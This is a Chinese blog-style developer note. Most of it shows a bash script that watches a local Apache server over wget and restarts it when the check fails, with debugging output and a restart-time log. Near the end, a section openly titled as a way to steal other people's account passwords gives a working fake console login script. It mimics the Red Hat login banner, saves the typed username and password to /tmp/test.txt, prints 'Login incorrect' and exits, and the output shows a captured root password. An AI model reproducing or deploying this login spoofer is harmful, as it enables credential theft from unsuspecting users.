热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

apache服务监控脚本-----自动重启apache

apache服务监控脚本-----自动重启apache[root@localhostshell]viapache_monitorsh!binbashwhile[1]dowgethttp:127001ahtml>devnull2>&1if
apache服务监控脚本-----自动重启apache
 
[root@localhost shell]# vi apache_monitor.sh 
#!/bin/bash
while [ 1 ]
do
        wget http://127.0.0.1/a.html > /dev/null 2>&1
        if [ $? -ne 0 ]
        then
                service apache restart >/dev/null 2>&1
        else
                wt=`cat a.html`
                if [ $wt != 'OK' ]
                then
                        service apache restart > /dev/null 2>&1
                fi
        fi
sleep 2
done
 
 
[root@localhost shell]# cat /www/a.html 
 
OK
 
[root@localhost ~]# lsof -i:80
COMMAND   PID   USER   FD   TYPE DEVICE SIZE NODE NAME
httpd   32105   root    3u  IPv4 409340       TCP *:http (LISTEN)
httpd   32109 daemon    3u  IPv4 409340       TCP *:http (LISTEN)
httpd   32111 daemon    3u  IPv4 409340       TCP *:http (LISTEN)
httpd   32113 daemon    3u  IPv4 409340       TCP *:http (LISTEN)
[root@localhost ~]# killall httpd
[root@localhost ~]# lsof -i:80
[root@localhost ~]# lsof -i:80   在我杀死httpd进程的大概一两秒时间内,apache服务没有起来,但是很快就可以了,
 
如果是在实际生产中,可以把脚本中的sleep时间改成1.
COMMAND PID USER   FD   TYPE DEVICE SIZE NODE NAME
httpd   618 root    3u  IPv4 411612       TCP *:http (LISTEN)
[root@localhost ~]# lsof -i:80
COMMAND PID   USER   FD   TYPE DEVICE SIZE NODE NAME
httpd   618   root    3u  IPv4 411612       TCP *:http (LISTEN)
httpd   623 daemon    3u  IPv4 411612       TCP *:http (LISTEN)
httpd   625 daemon    3u  IPv4 411612       TCP *:http (LISTEN)
httpd   627 daemon    3u  IPv4 411612       TCP *:http (LISTEN)
 
[root@localhost ~]# cd /shell/
[root@localhost shell]# ls
access.log  a.html.176  a.html.254  a.html.332  a.html.410
a.html      a.html.177  a.html.255  a.html.333  a.html.411
a.html.1    a.html.178  a.html.256  a.html.334  a.html.412
a.html.10   a.html.179  a.html.257  a.html.335  a.html.413
a.html.100  a.html.18   a.html.258  a.html.336  a.html.414
a.html.101  a.html.180  a.html.259  a.html.337  a.html.415
a.html.102  a.html.181  a.html.26   a.html.338  a.html.416
a.html.103  a.html.182  a.html.260  a.html.339  a.html.417
a.html.104  a.html.183  a.html.261  a.html.34   a.html.418
a.html.105  a.html.184  a.html.262  a.html.340  a.html.419
a.html.106  a.html.………………
 
我擦,发现爆表了,忘记了,脚本还没有完善,需要把这东西全干掉
 
而且我还想要记录apache的重启时间和次数,所以还需要更改脚本
 
#!/bin/bash
while [ 1 ]
do
        wget http://127.0.0.1/a.html > /dev/null 2>&1
        if [ $? -ne 0 ]
        then
                service apache restart >/dev/null 2>&1
                        echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
        else
                wt=`cat a.html`
                if [ $wt != 'OK' ]
                then
                        service apache restart > /dev/null 2>&1
                        echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
                fi
        fi
rm -rf a.html
sleep 2
done
 
 
 
然后我开始做测试
 
[root@localhost shell]# cat times.txt 
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt 
[root@localhost shell]# cat times.txt 
apache restart at 13-10-15 17:47:27
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt 
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
 
然后我去改a.html的内容
 
 
[root@localhost www]# cat a.html 
OKiii   ----------内容不是OK后,脚本两秒钟自动重新下载一次
 
 
[root@localhost shell]# tail -f times.txt 
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
apache restart at 13-10-15 17:48:18
apache restart at 13-10-15 17:48:20
apache restart at 13-10-15 17:48:22
apache restart at 13-10-15 17:48:24
apache restart at 13-10-15 17:48:26
apache restart at 13-10-15 17:48:28
apache restart at 13-10-15 17:48:30
apache restart at 13-10-15 17:48:32
apache restart at 13-10-15 17:48:34
apache restart at 13-10-15 17:48:37
apache restart at 13-10-15 17:48:39
apache restart at 13-10-15 17:48:41
apache restart at 13-10-15 17:48:43
apache restart at 13-10-15 17:48:45
apache restart at 13-10-15 17:48:47
apache restart at 13-10-15 17:48:49
apache restart at 13-10-15 17:48:51
 
 
[root@localhost shell]# 
 
当我改回来后,脚本停止日志输出,想要知道apache重启了多少次
 
[root@localhost shell]# wc -l times.txt | cut -d" " -f1
19
 
####################################################
 
顺便写了几个简单的脚本,觉得很有意思
 
#!/bin/bash
a=1
b=5
while [ $a -le $b ]
do
        c=1
        while [ $c -le $a ]
        do
                echo -n  \*
                let c++
        done
        let a++
        echo 
done
 
[root@localhost shell]# ./1.sh 
*
**
***
****
*****
写一个简单的脚本,来套取别人的账号密码
 
#!/bin/bash
clear
cat  /etc/issue| head  -1
echo -e  `uname  -r` "on  an"  `uname  -m`
echo -e -n  `hostname  | cut  -d . -f1` "login:"
read  aa
echo "passwd:"
read -s bb
echo -n "username:$aa   password:$bb" >/tmp/test.txt
sleep 3
echo  -e "\n"
echo "Login incorrect"
pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`
kill -9 $pid 
 
运行效果如下
 
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
2.6.18-194.el5 on  an i686
localhost login:
 
 

 
 
[root@localhost ~]# cat /tmp/test.txt 
username:root   password:asdf

推荐阅读
  • 在 Red Hat 系统的启动过程中,首先运行的程序是 `/sbin/init`。该程序会读取 `/etc/inittab` 文件,并根据其中的配置进行系统的初始化工作。例如,它会根据设定的运行级别启动相应的服务和进程,确保系统能够顺利进入指定的运行状态。此外,`/sbin/init` 还负责管理系统关机和重启等操作,确保系统的稳定性和安全性。 ... [详细]
  • 在Linux环境下,本文详细探讨了Apache服务器中CGI技术的应用与实现。首先,通过使用yum包管理器安装了必要的软件,如PHP。安装完成后,对Apache服务器进行了配置,确保CGI功能正常运行。此外,还介绍了如何编写和调试CGI脚本,以及如何在实际环境中部署这些脚本以提供动态网页内容。实验结果表明,通过合理的配置和优化,Apache服务器能够高效地支持CGI应用程序,为用户提供丰富的交互体验。 ... [详细]
  • 如何将PHP文件上传至服务器及正确配置服务器地址 ... [详细]
  • 在Linux系统中,原本已安装了多个版本的Python 2,并且还安装了Anaconda,其中包含了Python 3。本文详细介绍了如何通过配置环境变量,使系统默认使用指定版本的Python,以便在不同版本之间轻松切换。此外,文章还提供了具体的实践步骤和注意事项,帮助用户高效地管理和使用不同版本的Python环境。 ... [详细]
  • 如何利用Apache与Nginx高效实现动静态内容分离
    如何利用Apache与Nginx高效实现动静态内容分离 ... [详细]
  • 本文深入探讨了IO复用技术的原理与实现,重点分析了其在解决C10K问题中的关键作用。IO复用技术允许单个进程同时管理多个IO对象,如文件、套接字和管道等,通过系统调用如`select`、`poll`和`epoll`,高效地处理大量并发连接。文章详细介绍了这些技术的工作机制,并结合实际案例,展示了它们在高并发场景下的应用效果。 ... [详细]
  • 深入解析Wget CVE-2016-4971漏洞的利用方法与安全防范措施
    ### 摘要Wget 是一个广泛使用的命令行工具,用于从 Web 服务器下载文件。CVE-2016-4971 漏洞涉及 Wget 在处理特定 HTTP 响应头时的缺陷,可能导致远程代码执行。本文详细分析了该漏洞的成因、利用方法以及相应的安全防范措施,包括更新 Wget 版本、配置防火墙规则和使用安全的 HTTP 头。通过这些措施,可以有效防止潜在的安全威胁。 ... [详细]
  • Linux学习精华:程序管理、终端种类与命令帮助获取方法综述 ... [详细]
  • 如何在Linux系统中实施网络流量监测与分析
    本文详细介绍了在Linux系统中实施网络流量监测与分析的方法。通过使用专业的工具和技术,读者可以有效地监控和分析网络流量,从而提高系统的安全性和性能。希望本文能为读者提供有价值的参考和实践指导。 ... [详细]
  • 手机上编写和运行PHP代码的最佳软件推荐 ... [详细]
  • 本指南详细介绍了如何使用 `apt-get` 命令在 Ubuntu 系统上部署 MySQL 5、Apache 2、PHP 5 及 phpMyAdmin。首先,建议读者查阅 Ubuntu 的官方文档以获取更多背景信息。通过本文,您将逐步了解每个软件包的安装过程及其配置方法,确保系统环境的稳定性和安全性。此外,还将提供一些常见问题的解决方案,帮助用户顺利完成部署。 ... [详细]
  • 本文介绍了在Windows 10系统下使用VirtualBox虚拟机环境部署CentOS 7.2,并在其上安装Docker的具体步骤。针对宝塔面板在Docker容器中磁盘空间限制为8GB的问题,提供了详细的解决方案和优化建议,确保用户能够高效利用有限的存储资源。 ... [详细]
  • 在Linux/WSL环境中,本文对Shell任务的并行处理进行了详细的测试与分析。通过多种并行处理技术,如GNU Parallel和xargs,探讨了如何有效提升任务执行效率和系统资源利用率。实验结果表明,合理配置并行参数能够显著缩短任务完成时间,提高系统整体性能。此外,文章还介绍了Shell脚本编写的基本原则和最佳实践,为读者提供了实用的参考。 ... [详细]
  • gitlab+jenkins_gitlab+jenkins+docker
    gitlab+jenkins_gitlab+jenkins+docker ... [详细]
  • 本文详细介绍了 Ansible Ad-Hoc 命令的使用方法,基于官方文档进行了中文翻译。Ad-Hoc 命令允许用户通过 `usr/bin/ansible` 快速执行一次性任务,适用于快速部署、配置管理和故障排查等场景。文中通过多个实例演示了 Ad-Hoc 命令的具体应用,帮助读者更好地理解和掌握这一强大工具。 ... [详细]
author-avatar
卢健波_785
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有